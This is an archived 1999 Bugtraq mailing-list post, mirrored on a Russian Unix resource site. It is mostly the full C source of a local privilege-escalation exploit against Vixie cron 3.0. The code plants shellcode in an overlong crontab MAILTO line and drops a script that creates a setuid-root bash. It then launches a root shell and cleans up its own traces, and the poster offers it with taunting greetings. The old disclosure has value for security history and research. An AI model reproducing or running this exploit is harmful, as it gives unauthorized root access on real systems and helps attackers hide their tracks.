The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Новость: Юзабилити открытого ПО
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

Crond Scooby Snacks for Everyone.


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Mon, 30 Aug 1999 05:28:04 -0700
From: jobe <jbowie@EL8.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Crond Scooby Snacks for Everyone.

Paul Vixie loves us all so much it's overflowing. For your own private
use, standard disclaimer and transfer of responsibility to that of the end
user applies.  Oh yeah, and I made it semi-self cleaning just because I
love you guys so much.  If you want add remove(argv[0]); to the list of
removes to remove the exploit binary as well.

*sn1p*

/*
 * VixieCron 3.0 Proof of Concept Exploit - w00w00
 *
 * Not only does Paul give up root with this one, but with his creative use of
 * strtok() he actually ends up putting the address of our shellcode in eip.
 *
 * Many Thanks: Cheez Wiz, Sangfroid
 * Thanks: stran9er, Shok
 * Props: attrition.org,mea_culpa,awr,minus,Int29,napster,el8.org,w00w00
 * Drops: Vixie, happyhacker.org, antionline.com, <insert your favorite web \
 *        defacement group here>
 *
 * Hellos: pm,cy,bm,ceh,jm,pf,bh,wjg,spike.
 *
 * -jbowie@el8.org
 *
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <pwd.h>

char shellcode[] =
        "\xeb\x40\x5e\x89\x76\x0c\x31\xc0\x89\x46\x0b\x89\xf3\xeb"
        "\x27w00w00:Ifwewerehackerswedownyourdumbass\x8d\x4e"
        "\x0c\x31\xd2\x89\x56\x16\xb0\x0b\xcd\x80\xe8\xbb\xff\xff"
        "\xff/tmp/w00w00";

int
main(int argc,char *argv[])
{
	FILE *cfile,*tmpfile;
	struct stat sbuf;
	struct passwd *pw;
	int x;

	pw = getpwuid(getuid());

	chdir(pw->pw_dir);
	cfile = fopen("./cronny","a+");
	tmpfile = fopen("/tmp/w00w00","a+");


	fprintf(cfile,"MAILTO=");
	for(x=0;x<96;x++)
		fprintf(cfile,"w00w00 ");
	fprintf(cfile,"%s",shellcode);
	fprintf(cfile,"\n* * * * * date\n");
	fflush(cfile);

	fprintf(tmpfile,"#!/bin/sh\ncp /bin/bash %s\nchmod 4755 %s/bash\n", pw->pw_dir,pw->pw_dir);
	fflush(tmpfile);

	fclose(cfile),fclose(tmpfile);

	chmod("/tmp/w00w00",S_IXUSR|S_IXGRP|S_IXOTH);

	if(!(fork())) {
		execl("/usr/bin/crontab","crontab","./cronny",(char *)0);
	} else {
		printf("Waiting for shell be patient....\n");
		for(;;) {
			if(!(stat("./bash",&sbuf))) {
					break;
			} else { sleep(5); }
		}
		if((fork())) {
			printf("Thank you for using w00warez!\n");
			execl("./bash","bash",(char *)0);
		} else {
			remove("/tmp/w00w00");
                        sleep(5);
                        remove("./bash");
                        remove("./cronny");
                        execl("/usr/bin/crontab","crontab","-r",(char *)0);
		}
	}		
}

*sn1p*

-jobe
Do you, uh, w00w00?  http://www.w00w00.org/

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network. RB2 Network.